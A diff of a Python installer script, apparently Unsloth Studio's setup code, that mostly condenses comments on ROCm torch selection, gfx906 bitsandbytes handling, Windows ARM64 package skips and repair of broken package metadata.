- # Demoting is the whole repair (the floor below picks the tag), and the
- # preflight forces the pass for this state, so declining never repairs it.
+ # A generic build whose tag predates the target: demoting is the whole repair.
_safe_print(
f" installed ROCm torch is a generic build whose own tag predates\n"
f" {_runtime_gfx} -- reinstalling from an index that carries it.\n"
)
rocm_torch_ready = False
- # The floor above is reached only by a host already on ROCm wheels that was demoted.
- # A fresh install, or a CPU/CUDA build, walks past it to the generic fallback, where a
- # stale /opt/rocm puts gfx950 on rocm6.3 the same way with no per-arch index to fall
- # back to. Which tag carries an arch is a fact about the arch, not about the install.
+ # Fresh / CPU / CUDA installs also need the per-arch tag floor.
if (
_arch_index_url is None
and not rocm_torch_ready
@@ -7029,15 +6477,8 @@ def _ensure_rocm_torch() -> "bool | None":
):
ver = max(_ROCM_TORCH_INDEX)
- # gfx906 (MI50 / Radeon VII): is this the runtime GPU target? Used below to skip
- # the generic bitsandbytes wheel (no gfx906 kernels). This must hold even under
- # an explicit torch-index pin: a gfx906 host that pins rocm6.3 (without also
- # setting UNSLOTH_ROCM_GFX_ARCH) would otherwise reinstall the prebuilt bnb wheel
- # over the user's source-built gfx906 bnb. So a pin suppresses only the torch
- # reroute (_gfx906_override below), NOT the gfx906 detection for the bnb skip.
- # _runtime_target_is_gfx906 reads UNSLOTH_ROCM_GFX_ARCH itself with the same
- # normalization, so asking it alone loses nothing, and ORing the override back in would
- # walk the no-GPU mask guard it applies above that read.
+ # gfx906 detection for the bnb skip holds even under a torch-index pin, so a source-built bnb is not
+ # overwritten; the pin only suppresses the torch reroute.
_runtime_is_gfx906 = _runtime_target_is_gfx906()
# The generic bitsandbytes ROCm wheel targets the rocm6.4 ABI. Re-run the automatic
# generic torch selection when an existing generic wheel below that ABI would otherwise
@@ -7077,9 +6518,7 @@ def _ensure_rocm_torch() -> "bool | None":
f" requires a source build of bitsandbytes for gfx906 (see unsloth.ai/docs/get-started/install/amd).\n"
)
- # Either reroute must fire even when has_hip_torch is True: an existing
- # torch.version.hip == "7.1" is exactly the broken combo they repair. The
- # missing-kernel route declines above when torch already runs on its leaf.
+ # Fire even with HIP torch: torch.version.hip == "7.1" is the broken combo they repair.
if _arch_index_url is not None and _arch_index_pkgs is not None:
index_url = _arch_index_url
_torch_pkg, _vision_pkg, _audio_pkg = _arch_index_pkgs
@@ -7099,10 +6538,7 @@ def _ensure_rocm_torch() -> "bool | None":
constrain = False,
)
rocm_torch_ready = True
- # gfx906 fires even when has_hip_torch is True: a +rocm7.x build IS the broken
- # combo it repairs. A torch already on rocm6.3 wheels is left alone (the tag
- # check below is False, and rocm_torch_ready is already True from has_hip_torch,
- # so the generic fallback is skipped).
+ # gfx906 fires even with HIP torch: a +rocm7.x build is the broken combo.
elif _gfx906_override and _GFX906_LEGACY_TAG not in _installed_torch_ver:
index_url = _pytorch_whl_leaf_url(_GFX906_LEGACY_TAG)
if index_url is None:
@@ -7125,11 +6561,8 @@ def _ensure_rocm_torch() -> "bool | None":
)
rocm_torch_ready = True
elif not rocm_torch_ready:
- # Reinstall when torch is not ROCm yet, OR a ROCm build's family differs from a pin.
- # Gate on rocm_torch_ready (not has_hip_torch alone) so a successful inferred-gfx
- # install above is not overwritten by the generic pytorch.org/rocmX.Y path -- that
- # would undo the fresh-ROCm/no-/dev/kfd repair this path exists for (Codex P1 #7305).
- # Honour a ROCm pin verbatim; else pick the newest wheel tag <= host.
+ # Gate on rocm_torch_ready so the generic path does not overwrite a fresh inferred-gfx install.
+ # Honour a ROCm pin verbatim; else the newest tag <= host.
_override_idx = _explicit_rocm_torch_index_url()
if _override_idx is not None:
index_url = _override_idx
@@ -7163,8 +6596,7 @@ def _ensure_rocm_torch() -> "bool | None":
_safe_print(
f" ROCm torch -- installing from {_strip_index_url_credentials(index_url)}"
)
- # Only the _grouped_mm-bug gfx arches need the 2.11 spec; other gfx indexes ship
- # <2.11 and stay on the default range (matches install.ps1 / setup.ps1).
+ # Only _grouped_mm-bug arches take the 2.11 spec (matches install.ps1 / setup.ps1).
if tag in _ROCM_GFX_TORCH211_LEAVES:
_torch_pkg, _vision_pkg, _audio_pkg = _ROCM_TORCH_PKG_SPECS["rocm7.2"]
elif tag.startswith("gfx"):
@@ -7186,10 +6618,7 @@ def _ensure_rocm_torch() -> "bool | None":
)
rocm_torch_ready = True
- # gfx906 has no prebuilt bitsandbytes: the continuous-release/PyPI wheels ship
- # no gfx906 kernels, and force-reinstalling them would clobber a user's
- # source-built bnb (the only 4-bit path on this arch) on every `studio update`.
- # Skip the auto-install and leave whatever bnb is present.
+ # gfx906 has no prebuilt bnb kernels; reinstalling would clobber a source-built bnb every update.
if rocm_torch_ready and _runtime_is_gfx906:
_safe_print(
_dim(
@@ -7198,10 +6627,7 @@ def _ensure_rocm_torch() -> "bool | None":
"see unsloth.ai/docs/get-started/install/amd."
)
)
- # The base install resolves unsloth's unconditional bitsandbytes dep to a
- # generic CUDA wheel with no gfx906 kernels ("invalid device function" at
- # 4-bit use). Drop it if this run pulled it in; a pre-existing source build
- # (present before the base install) is left untouched.
+ # Drop a generic bnb the base install just pulled in; keep a pre-existing source build.
if _GFX906_BNB_ABSENT_BEFORE_BASE and _bitsandbytes_installed():
_safe_print(_dim(" gfx906: removing generic bitsandbytes pulled in as a dependency"))
_count_install_action()
@@ -7209,14 +6635,13 @@ def _ensure_rocm_torch() -> "bool | None":
[sys.executable, "-m", "pip", "uninstall", "-y", "bitsandbytes"],
capture_output = True,
)
- # bitsandbytes only when torch links ROCm; the pre-release wheel (bnb #1887) needs pip, not uv.
+ # The pre-release bnb wheel needs pip, not uv.
elif rocm_torch_ready:
_bnb_url = _bnb_rocm_prerelease_url()
- # --force-reinstall from a URL fetches before it can decide: 43 MB per call, twice per pass,
- # on every no-op update (gfx1151).
+ # --force-reinstall from a URL fetches 43 MB before deciding, twice per pass.
if _bnb_rocm_install_is_current(_bnb_url):
_safe_print(_dim(" bitsandbytes (AMD) is already this build -- keeping it"))
- # Recorded on the skip too, or the manifest would forget and the next update refetch.
+ # Record on skip too, or the next update refetches.
_record_bnb_rocm_provenance()
else:
_bnb_installed = False
@@ -7314,12 +6739,10 @@ NO_TORCH = _infer_no_torch()
# Read at import: install_python_stack() drops the manifest before its dependency pass.
_RECORDED_TORCH_TAG = install_manifest.recorded_torch_flavor()
-# Whether that record came from someone NAMING a flavor: setup.ps1 publishes an automatic
-# /cpu choice the same way it publishes a pinned one.
+# setup.ps1 publishes an automatic /cpu the same way as a pinned one.
_RECORDED_TORCH_TAG_PINNED = install_manifest.recorded_torch_flavor_was_pinned()
-# UNSLOTH_TORCH_BACKEND is set by install.sh after get_torch_index_url() ("cuda", "rocm",
-# "cpu"; empty = standalone `studio update`, where we re-detect).
+# Set by install.sh; empty means standalone `studio update`, which re-detects.
_TORCH_BACKEND: str = os.environ.get("UNSLOTH_TORCH_BACKEND", "").lower()
if not _TORCH_BACKEND:
_idx_override = (
@@ -7332,8 +6755,7 @@ if not _TORCH_BACKEND:
elif _idx_leaf == "cpu":
_TORCH_BACKEND = "cpu"
elif _idx_leaf == "xpu":
- # Without this the leaf falls through as unknown and the standalone update never acts
- # on an authoritative XPU pin -- see _ensure_xpu_torch.
+ # Without this an authoritative XPU pin is never acted on, see _ensure_xpu_torch.
_TORCH_BACKEND = "xpu"
elif _is_cuda_family_leaf(_idx_leaf):
# Require a digit after "cu" so /current or /custom is not branded CUDA.
@@ -7388,8 +6810,7 @@ def _torch_step_label(suffix: str) -> str:
if not backend:
if _has_usable_nvidia_gpu():
backend = "cuda"
- # rocminfo and amd-smi ship with the HIP SDK, not with AMD's bundled-runtime
- # wheels, so a Windows ROCm host reads as CPU without the second operand.
+ # rocminfo / amd-smi ship with the HIP SDK, not AMD's bundled-runtime wheels.
elif _has_rocm_gpu() or _installed_torch_is_windows_rocm_cheap():
backend = "rocm"
else:
@@ -7415,14 +6836,13 @@ LOCAL_DD_UNSTRUCTURED_PLUGIN = (
)
LOCAL_DD_GITHUB_PLUGIN = SCRIPT_DIR / "backend" / "plugins" / "data-designer-github-repo-seed"
-# Apple Silicon: override mlx-vlm/mlx-lm's transformers pin (see overrides).
-# _uv_safe_path: uv truncates UV_OVERRIDE at the first space too (issue #6503).
+# Apple Silicon override of mlx-vlm/mlx-lm's transformers pin; uv truncates UV_OVERRIDE at a space.
_MLX_OVERRIDES = SINGLE_ENV / "overrides-darwin-arm64.txt"
if IS_MAC_ARM and _MLX_OVERRIDES.is_file() and "UV_OVERRIDE" not in os.environ:
os.environ["UV_OVERRIDE"] = _uv_safe_path(_MLX_OVERRIDES)
# -- Unicode-safe printing ---------------------------------------------
-# Windows consoles may be a legacy code page (CP1252); _safe_print() degrades glyphs to ASCII.
+# Legacy code-page consoles (CP1252): _safe_print() degrades glyphs to ASCII.
_UNICODE_TO_ASCII: dict[str, str] = {
"\u2705": "[OK]", # ✅
@@ -7445,11 +6865,9 @@ def _safe_print(*args: object, **kwargs: object) -> None:
except OSError:
return
except UnicodeEncodeError:
- # Stringify, then swap emoji for ASCII equivalents.
text = " ".join(str(a) for a in args)
for uni, ascii_alt in _UNICODE_TO_ASCII.items():
text = text.replace(uni, ascii_alt)
- # Final fallback: replace any remaining unencodable chars.
print(
text.encode(sys.stdout.encoding or "ascii", errors = "replace").decode(
sys.stdout.encoding or "ascii", errors = "replace"
@@ -7459,7 +6877,7 @@ def _safe_print(*args: object, **kwargs: object) -> None:
# ── Color support ──────────────────────────────────────────────────────
-# Same logic as startup_banner: NO_COLOR disables, FORCE_COLOR or TTY enables.
+# Same as startup_banner: NO_COLOR disables, FORCE_COLOR or TTY enables.
def _stdout_supports_color() -> bool:
@@ -7490,8 +6908,7 @@ def _stdout_supports_color() -> bool:
_HAS_COLOR = _stdout_supports_color()
-# Column layout - matches setup.sh step() helper:
-# 2-space indent, 15-char label (dim), then value.
+# Matches setup.sh step(): 2-space indent, 15-char dim label, then value.
_LABEL = "deps"
_COL = 15
_INDENT = 2
@@ -7528,8 +6945,7 @@ def _end_progress_line() -> None:
try:
sys.stdout.write("\n")
sys.stdout.flush()
- # Every _safe_print() lands here: a detached (None) or closed stdout must not
- # take down a message bound for stderr.
+ # A detached or closed stdout must not take down a message bound for stderr.
except (AttributeError, OSError, ValueError):
pass
_PROGRESS_LINE_ACTIVE = False
@@ -7539,7 +6955,6 @@ def _note(message: str, color_fn = None) -> None:
"""Print a detail line under the current step, aligned to the value column."""
if color_fn is None:
color_fn = _dim
- # Verbose prints no bar and no step line, so there is no value column to align to.
prefix = " " if VERBOSE else " " * (_INDENT + _COL)
wrap_width = max(24, shutil.get_terminal_size((100, 20)).columns - len(prefix))
lines = textwrap.wrap(
@@ -7671,8 +7086,6 @@ def run(
)
if result.returncode != 0:
if not check:
- # The caller inspects the failure itself; it is responsible for
- # reporting and exiting if it cannot recover.
return result
_report_failed_command(label, result)
return result
@@ -7711,19 +7124,13 @@ def _report_failed_command(label: str, result: subprocess.CompletedProcess[bytes
"""Print a failed command's redacted output and exit with its code."""
_step("error", f"{label} failed (exit code {result.returncode})", _red)
if result.stdout:
- # Redact before printing: the failing pip command may carry a pinned --index-url
- # with userinfo/?token= creds, so raw pip error text would leak them.
+ # Redact: a pinned --index-url may carry credentials.
_safe_print(_redact_install_output(result.stdout))
sys.exit(result.returncode)
-# pip will not replace a distribution whose .dist-info carries no RECORD -- it cannot
-# know which files to remove -- and an interrupted install (or one uv wrote and pip is
-# now asked to take over) leaves exactly that. The venv is REUSED across runs, so the
-# stub is not transient: once written, every later install of that package dies on it
-# with "The package's contents are unknown", and the dependency step never completes
-# again on that machine. Seen on the Windows startup job, where the whole install is a
-# uv pass that falls back to pip.
+# pip will not replace a dist-info without RECORD (left by an interrupted or uv-written install),
+# and the reused venv would fail every later install of it.
_NO_RECORD_MARKER = "no RECORD file was found"
_CANNOT_UNINSTALL_RE = re.compile(r"Cannot uninstall ([A-Za-z0-9][A-Za-z0-9._-]*)")
@@ -7743,8 +7150,7 @@ def _purge_recordless_distributions(output: "bytes | str | None") -> list[str]:
if not output:
return []
text = output.decode("utf-8", "replace") if isinstance(output, bytes) else output
- # Both halves are required: the marker alone can appear in unrelated advice, and
- # a "Cannot uninstall" without it is a different problem that deleting won't fix.
+ # Require both halves: the marker alone appears in unrelated advice.
if _NO_RECORD_MARKER not in text:
return []
blocked = {_canonical_dist_name(n) for n in _CANNOT_UNINSTALL_RE.findall(text)}
@@ -7763,19 +7169,16 @@ def _purge_recordless_distributions(output: "bytes | str | None") -> list[str]:
shutil.rmtree(dist_info)
except OSError:
continue
- # What is installed just changed. Counted here, not at entry, so the usual no-purge case
- # keeps the cached constraint answer and the skipped `pip check`.
+ # Counted here, not at entry, so the no-purge case keeps the cached constraint answer.
_count_install_action()
cleared.append(dist_info.name)
return cleared
-# Packages to skip on Windows (require special build steps)
WINDOWS_SKIP_PACKAGES = {"triton_kernels"}
-# No win_arm64 wheel and no sdist buildable without MSVC / Rust / LLVM / FFmpeg. All optional:
-# tensorboard needs grpcio; librosa and openai-whisper need numba -> llvmlite (cp314 only).
-# Lowercase entries only: _filter_requirements lowercases the line and compares verbatim.
+# No win_arm64 wheel or MSVC-free sdist; all optional. Lowercase only: _filter_requirements compares
+# lowercased lines.
WINDOWS_ARM64_SKIP_PACKAGES = {
"mecab",
"sqlite-vec",
@@ -7923,7 +7326,6 @@ def _version_satisfies(version: str, specifier: str) -> "bool | None":
want = _parse_release(want_raw)
if want is None:
return None
- # Pad to a common length so 2.11 and 2.11.0 compare equal, as PEP 440 says.
width = max(len(got), len(want))
lhs = got + (0,) * (width - len(got))
rhs = want + (0,) * (width - len(want))
@@ -8012,17 +7414,16 @@ def _requirement_pins(req: "Path | None") -> "dict[str, list[str]]":
return pins
-# Skipped for their DEPENDENCIES: whisper's metadata needs tiktoken unconditionally, so filtering the direct line does not stop the sdist arriving transitively.
+# Skipped for their dependencies: whisper needs tiktoken unconditionally, so filtering the direct line is not enough.
WINDOWS_ARM64_SKIP_UNBLOCKED_BY = {
"tensorboard": ("grpcio",),
- # soxr as well as the numba pair: librosa 0.11.0 requires soxr>=0.3.2 and soxr has never published a win_arm64 wheel, so un-skipping librosa would build it from an sdist.
+ # soxr too: librosa 0.11.0 requires it and soxr has no win_arm64 wheel.
"librosa": ("llvmlite", "numba", "soxr"),
"openai_whisper": ("llvmlite", "numba", "tiktoken"),
}
-# The blocker versions the packages' OWN metadata demands: too old, and the extras pass fails.
-# {blocker: (specifier, package it was read from, that package's pinned version)}. llvmlite arrives through numba.
+# Blocker floors from the packages' own metadata: {blocker: (specifier, read from, its pinned version)}.
WINDOWS_ARM64_BLOCKER_FLOORS: "dict[str, tuple[str, str, str]]" = {
"grpcio": (">=1.74.0", "tensorboard", "2.21.0"),
"numba": (">=0.51.0", "librosa", "0.11.0"),
@@ -8030,7 +7431,7 @@ WINDOWS_ARM64_BLOCKER_FLOORS: "dict[str, tuple[str, str, str]]" = {
}
-# Excluded on win_arm64 by MARKER, so a hosted wheel has no requirement to satisfy. Floors given, because --no-deps otherwise takes whatever happens to be hosted.
+# Excluded on win_arm64 by marker; floors given because --no-deps takes whatever is hosted.
WINDOWS_ARM64_WHEELHOUSE_OPTIONALS = {
"hf-transfer": "",
"xformers": ">=0.0.22.post7",
@@ -8095,7 +7496,6 @@ def _install_wheelhouse_optionals() -> None:
if version is None:
if _wheelhouse_hosts(name):
_note(f"windows on arm: the wheelhouse {name} is below {floor}; leaving it off")
- # Nothing to refresh with, but the copy an earlier run installed is still resident.
if _canonical_dist_name(name) == "xformers":
_evict_xformers_built_for_another_torch()
continue
@@ -8108,7 +7508,7 @@ def _install_wheelhouse_optionals() -> None:
)
if not installed:
_note(f"windows on arm: could not install the wheelhouse {name}; feature stays off")
- # Checked even when the refresh failed: the copy an earlier torch left behind is still resident.
+ # Checked even when the refresh failed: an earlier torch's copy is still resident.
if _canonical_dist_name(name) == "xformers" and _evict_xformers_built_for_another_torch():
continue
if not installed:
@@ -8394,8 +7794,7 @@ def _no_index_requested() -> bool:
def _uv_reaches_public_pypi() -> bool:
- # Two different questions. UV_OFFLINE really does stop uv reaching a network;
- # UV_NO_INDEX is ours and uv ignores it.
+ # UV_OFFLINE stops uv's network; UV_NO_INDEX is ours and uv ignores it.
if _uv_is_offline() or _no_index_requested():
return False
extra_is_pypi = any(
@@ -8584,18 +7983,9 @@ NO_TORCH_SKIP_PACKAGES = {
"librosa",
}
-# Requirements with NO wheel on PyPI at any version, so the installer has always built
-# them from source. antlr4-python3-runtime arrives transitively: omegaconf==2.3.1 pins it
-# below the 4.13.2 wheel.
-#
-# A user-level `no-build = true` (uv.toml) or `only-binary = :all:` (pip.conf) makes all
-# of them unresolvable and fails the whole extras step (#8530). A PACKAGE-SCOPED
-# --no-binary overrides that policy for these names only, so the user's binary-only
-# policy still applies everywhere it can be honoured -- a blanket --no-build or
-# `:none:` override would discard it entirely.
-#
-# Keep in sync with the CI `nobuild` allowlists asserting the same contract:
-# .github/scripts/clean-machine-assert.sh and .github/scripts/assert-nobuild.ps1.
+# No wheel on PyPI at any version, so always built from source (antlr4 arrives via omegaconf).
+# A package-scoped --no-binary keeps a user's binary-only policy everywhere else.
+# Keep in sync with .github/scripts/clean-machine-assert.sh and .github/scripts/assert-nobuild.ps1.
SDIST_ONLY_PACKAGES = (
"openai-whisper",
"argbind",
@@ -8619,9 +8009,7 @@ def _sdist_only_build_args(*names: str) -> list[str]:
def _extras_sdist_only_packages() -> tuple[str, ...]:
"""SDIST_ONLY_PACKAGES plus any this interpreter alone resolves to an sdist."""
names = list(SDIST_ONLY_PACKAGES)
- # extras.txt pins MeCab==0.996.5 on macOS cp314+, the last release carrying an sdist.
- # Conditional because MeCab is a C extension: everywhere else 0.996.13 resolves to a
- # wheel, and exempting it there would force a compiler-dependent build.
+ # MeCab==0.996.5 (macOS cp314+) is the last release with an sdist; elsewhere it resolves to a wheel.
if IS_MACOS and sys.version_info >= (3, 14):
names.append("MeCab")
return tuple(names)
@@ -8638,7 +8026,6 @@ def _build_flash_attn_wheel_url(env: dict[str, str]) -> str | None:
def _print_optional_install_failure(label: str, result: subprocess.CompletedProcess[str]) -> None:
_step("warning", f"{label} failed (exit code {result.returncode})", _warn)
if result.stdout:
- # Redact any pinned --index-url credentials before printing captured output.
_safe_print(_redact_install_output(result.stdout).strip())
@@ -8927,7 +8314,6 @@ def _bootstrap_uv() -> bool:
**_windows_hidden_subprocess_kwargs(),
)
if probe.returncode != 0:
- # Retry with --system (some envs need it when uv can't find a venv)
probe_sys = subprocess.run(
["uv", "pip", "freeze", "--system"],
stdout = subprocess.DEVNULL,
@@ -9019,8 +8405,7 @@ def _filter_requirements(req: Path, skip: set[str]) -> Path:
filtered = [
line for line in lines if not any(line.strip().lower().startswith(pkg) for pkg in skip)
]
- # Beside the source so relative -r/-c includes resolve; a read-only tree
- # (root-owned install, non-root user) falls back rather than aborting.
+ # Beside the source so relative -r/-c resolve; a read-only tree falls back.
kwargs = dict(
mode = "w",
prefix = f".{req.stem}-filtered-",
@@ -9158,8 +8543,6 @@ def _rewrite_minimal_metadata(path: str, name: str) -> bool:
from the directory name, where importlib's own fallback reads it from when
METADATA cannot be parsed.
"""
- # invalid_metadata_paths() hands back Path objects, so normalise before the
- # string work below.
path = os.fspath(path)
if not os.path.isfile(os.path.join(path, "RECORD")):
return False
@@ -9292,14 +8675,10 @@ def _restore_from_staged(
"--find-links",
staged,
name,
- # pip, not uv: the wheel is already built and sitting in staged, and uv would
- # reject the unpinned name under UV_REQUIRE_HASHES with the package records
- # already gone. Routing through pip also earns the PIP_REQUIRE_HASHES relaxation.
+ # pip, not uv: uv would reject the unpinned name under UV_REQUIRE_HASHES with records already gone.
force_pip = True,
):
- # The wheel just wrote its own valid metadata at the same path the rewritten
- # record occupied, so the unwinding below must not put the original back over
- # it. See _QuarantinedMetadata.forget_copies.
+ # The wheel wrote fresh metadata at the same path; do not restore the original over it.
if quarantine is not None:
quarantine.forget_copies()
_safe_print(_red(f" restored {name} from the staged replacement"), file = sys.stderr)
@@ -9343,16 +8722,11 @@ def _stage_replacement(name: str):
requirement, overrides, build_options = name, {}, []
offline_local = USE_UV and _uv_is_offline() and _is_local_source(name)
if offline_local:
- # The checkout needs no network, but pip's isolated build fetches the build
- # backend, which UV_OFFLINE does not reach: measured, an isolated build with no
- # index fails at "installing build dependencies", and this repo pins those
- # exactly. Build against the interpreter's own backend and forbid the index, so
- # no-network means no network. An unimportable backend fails the build and
- # leaves the installation intact.
+ # pip's isolated build fetches the build backend even offline; build against the interpreter's
+ # own backend and forbid the index.
build_options = ["--no-build-isolation"]
overrides = {"PIP_NO_INDEX": "1"}
if USE_UV and _uv_is_offline() and not _is_local_source(name):
- # A checkout on disk needs no network, so offline has nothing to say about it.
_safe_print(
_red(
" UV_OFFLINE is set and pip has no offline mode, so repairing "
@@ -9362,7 +8736,6 @@ def _stage_replacement(name: str):
)
return None
if USE_UV and not _is_direct_reference(name):
- # A direct reference is its own provenance, so it is staged as written.
plan = _uv_staging_plan(name)
if plan is None:
_safe_print(
@@ -9401,7 +8774,6 @@ def _stage_replacement(name: str):
if overrides:
env = dict(env if env is not None else os.environ)
env.update(overrides)
- # Written into the staging directory, so it is removed with it.
env["PIP_CONFIG_FILE"] = _pip_config_without_sources(staging)
result = subprocess.run(
cmd,
@@ -9487,8 +8859,7 @@ def _repair_damaged_core_payload(
still_damaged: list[str] = []
for name in damaged:
_step(_LABEL, f"{name} is missing installed files; reinstalling it", _dim)
- # --no-deps: resolving the graph would drag the torch build along. Both
- # flags: pip has no per-package form, uv's --reinstall is environment-wide.
+ # --no-deps keeps torch out; pip has no per-package reinstall and uv's --reinstall is env-wide.
pip_install_try(
f"Reinstalling {name}",
"--no-cache-dir",
@@ -9499,10 +8870,7 @@ def _repair_damaged_core_payload(
name,
)
importlib.invalidate_caches()
- # Presence first: --force-reinstall uninstalls before it installs, and
- # what it leaves behind has no RECORD for the scan below to call
- # damaged. Unconditional, unlike require_present: we only reinstall what
- # the scan already found, so it was installed a moment ago.
+ # Presence first: --force-reinstall uninstalls before installing.
try:
remaining = (
[]
@@ -9558,9 +8926,7 @@ def _repair_duplicate_core_metadata(
seen.add(canonical)
versions = install_manifest.installed_versions(name)
record_count = len(versions)
- # A sole `~` backup counts as one readable version, so metadata_conflict()
- # cannot see it, yet pip and importlib both skip the directory and the real
- # tree is usually renamed away with it. Repair it like any other duplicate.
+ # A sole `~` backup reads as one version to metadata_conflict(), yet pip and importlib skip it.
if install_manifest.metadata_conflict(
versions
) or install_manifest.pip_backup_metadata_paths(name):
@@ -9568,10 +8934,7 @@ def _repair_duplicate_core_metadata(
repaired: list[str] = []
staging_dirs: list[str] = []
- # One quarantine per package, discarded as soon as that package is back in place.
- # Sharing one would, on a later package's failure, restore the first package's stale
- # record over the install that replaced it: the conflict returns, and its old RECORD
- # then describes a payload that is gone.
+ # One quarantine per package: a shared one would restore a stale record over a later reinstall.
quarantine = _QuarantinedMetadata()
succeeded = False
try:
@@ -9579,11 +8942,8 @@ def _repair_duplicate_core_metadata(
quarantine = _QuarantinedMetadata()
_step(_LABEL, f"duplicate metadata for {name} detected; reinstalling it", _dim)
invalid_paths = install_manifest.invalid_metadata_paths(name)
- # Give pip a parseable METADATA beside every intact RECORD so it can
- # uninstall them normally, removing exactly the files they list.
- # Quarantining one instead drops its RECORD, so the uninstall loop removes
- # only what the readable records claim and a module existing solely in the
- # older release stays on disk and importable while the repair reports success.
+ # Rewrite METADATA beside each intact RECORD so pip uninstalls exactly their files; quarantining
+ # would leave modules only the older release owned.
unrewritable = [
path
for path in invalid_paths
@@ -9592,14 +8952,8 @@ def _repair_duplicate_core_metadata(
and _rewrite_minimal_metadata(path, name)
)
]
- # Every record has to end up uninstallable by pip, or nothing is touched.
- # Quarantining one instead only hides it: pip removes just the readable
- # records, the quarantine is discarded once the reinstall succeeds, and
- # whatever the quarantined release owned alone stays on disk and
- # importable while the repair reports success and deletes the directory
- # that was the evidence. Waiting for record_count to reach zero missed
- # every case where another record survives. Refusing leaves the tree as
- # found, so a later run can still see the conflict.
+ # Every record must be uninstallable by pip or nothing is touched, so a later run still sees the
+ # conflict instead of a falsely successful repair.
if unrewritable:
_safe_print(
_red(
@@ -9611,12 +8965,8 @@ def _repair_duplicate_core_metadata(
file = sys.stderr,
)
return False
- # pip skips its own abandoned backup ("Ignoring invalid distribution
- # ~nsloth") while its METADATA still names the project, so the record
- # counts here but no uninstall by name can consume it. Left in place the
- # loop below cannot converge and the repair fails on every future run,
- # which is the loop this whole path exists to end. Quarantined, not
- # deleted: staging can still fail.
+ # pip ignores its own abandoned ~ backup yet the record counts here, so the loop could never converge.
+ # Quarantined, not deleted: staging can still fail.
backups = install_manifest.pip_backup_metadata_paths(name)
if backups and not quarantine.take(backups):
_safe_print(
@@ -9625,18 +8975,12 @@ def _repair_duplicate_core_metadata(
)
return False
if invalid_paths or backups:
- # Metadata changed outside _uninstall_distribution / pip_install*, so the constraint
- # cache is retired here at the mutation, not at entry where every no-op would pay.
+ # Metadata changed outside the install helpers, so retire the constraint cache here.
_count_install_action()
importlib.invalidate_caches()
record_count = len(install_manifest.installed_versions(name))
- # A backup names a payload pip has already renamed away, so once it is
- # aside there is nothing for a replacement to be laid over: a fresh
- # install is exactly right, and refusing here would abort the installer
- # on the one state it can trivially fix.
+ # A backup names a payload pip already renamed away, so a fresh install is exactly right.
if invalid_paths and not record_count:
- # Nothing is left for pip to uninstall, so the replacement would be
- # laid over a payload no record describes.
_safe_print(
_red(
f" no usable metadata record is left for {name}, so its "
@@ -9649,13 +8993,9 @@ def _repair_duplicate_core_metadata(
canonical = re.sub(r"[-_.]+", "-", name).lower()
source_repo = local_repo or (ci_source_overlay if canonical == "unsloth" else "")
- # A local or git source installs from a path or URL, so there is
- # nothing to stage; anything else comes off an index, which has to
- # be proven reachable while the current install is still intact.
+ # Local / git sources need no staging; index sources must be proven reachable before uninstalling.
overlaid = bool(source_repo) and _is_overlayable_core_package(name)
- # Stage whichever source will be installed, overlay included: an
- # overlay is a git fetch or a build, either of which can fail after
- # the uninstall loop has already removed every record.
+ # Stage overlays too: a git fetch or build can fail after every record is removed.
staged = _stage_replacement(
_overlay_source_spec(name, source_repo) if overlaid else name
)
@@ -9672,8 +9012,7 @@ def _repair_duplicate_core_metadata(
removed_any = False
while record_count:
- # Counted BEFORE the command, as _uninstall_distribution: a failed uninstall can
- # still have removed files.
+ # Counted before the command: a failed uninstall can still have removed files.
_count_install_action()
if not _run_ok(
f"Removing an installed metadata record for {name}",
@@ -9697,13 +9036,9 @@ def _repair_duplicate_core_metadata(
removed_any = True
record_count = remaining
- # Installer handoffs may already have applied a local or CI source.
- # Restore that provenance now that no ambiguous record remains.
restored = overlaid and _overlay_local_core_package(name, source_repo, strict = False)
if not restored:
- # The overlay install is preferred because it keeps the editable
- # or git provenance, but the staged wheel was built from that
- # same source, so falling back to it never substitutes a release.
+ # The staged wheel was built from the same source, so falling back never substitutes a release.
restored = pip_install_try(
f"Repairing duplicate metadata for {name}",
"--no-cache-dir",
@@ -9713,8 +9048,7 @@ def _repair_duplicate_core_metadata(
"--find-links",
staged,
name,
- # As _restore_from_staged: pip, so a uv hash policy cannot reject the
- # already-built wheel once every record has been removed.
+ # pip, as _restore_from_staged, so uv hash policy cannot reject the built wheel.
force_pip = True,
)
if not restored:
@@ -9728,7 +9062,6 @@ def _repair_duplicate_core_metadata(
)
return False
repaired.append(name)
- # This package is back in place, so its old records must never return.
quarantine.discard()
importlib.invalidate_caches()
@@ -9748,8 +9081,6 @@ def _repair_duplicate_core_metadata(
finally:
for staging in staging_dirs:
shutil.rmtree(staging, ignore_errors = True)
- # Anything short of a completed repair puts the quarantined records back,
- # so a failure leaves the environment as it was found.
if succeeded:
quarantine.discard()
else:
@@ -9790,7 +9121,6 @@ def _build_pip_cmd(args: tuple[str, ...]) -> list[str]:
drop_next = ""
for arg in args:
if drop_next:
- # The previous flag's value: never a bare positional of its own.
if drop_next == "--upgrade-package":
upgrade.append(arg)
drop_next = ""
@@ -9799,18 +9129,15 @@ def _build_pip_cmd(args: tuple[str, ...]) -> list[str]:
drop_next = arg # the flag; its value is the package to upgrade
continue
if arg == "--reinstall-package":
- # uv-only. Its caller's --force-reinstall is environment-wide for
- # pip, safe only because that call also passes --no-deps.
+ # uv-only; pip's --force-reinstall is env-wide, safe only because the caller passes --no-deps.
drop_next = arg
continue
cmd.append(arg)
if upgrade:
cmd += ["--upgrade", "--upgrade-strategy", "only-if-needed"]
- # Every current caller also names these as positionals or via -r, but a
- # future one might not, and pip would then upgrade nothing.
- # By canonical project name: `--upgrade-package mlx` beside `mlx==0.32.3` is one project,
- # and pip refuses a double requirement where uv does not.
+ # By canonical project name: pip refuses `--upgrade-package mlx` beside `mlx==0.32.3` as a double
+ # requirement where uv does not.
def _project(requirement: str) -> str:
# _requirement_name stops at "==" and "@"; a range (mlx-vlm>=0.4.4,<=0.7.9) needs the
# rest.
@@ -9847,9 +9174,8 @@ def _pinned_cmd_and_env(cmd: "list[str]") -> "tuple[list[str], dict[str, str] |
return cmd + _pinned_binary_policy_args(cmd, env), env
-# Wheel-less dependencies of AMD's per-arch (gfx*) indexes: every torch there requires
-# rocm[libraries], which AMD publishes only as an sdist (7.9 through 7.13). Exempted on those
-# pins alone, so no other index can use the name to get a build past the operator's policy.
+# Every torch on AMD's per-arch indexes requires rocm[libraries], published only as an sdist;
+# exempted on those pins alone.
_AMD_ARCH_INDEX_SDIST_ONLY_PACKAGES = ("rocm",)
@@ -9906,8 +9232,7 @@ _UV_INDEX_ENV_VARS = (
"UV_FIND_LINKS",
"PIP_EXTRA_INDEX_URL",
"PIP_FIND_LINKS",
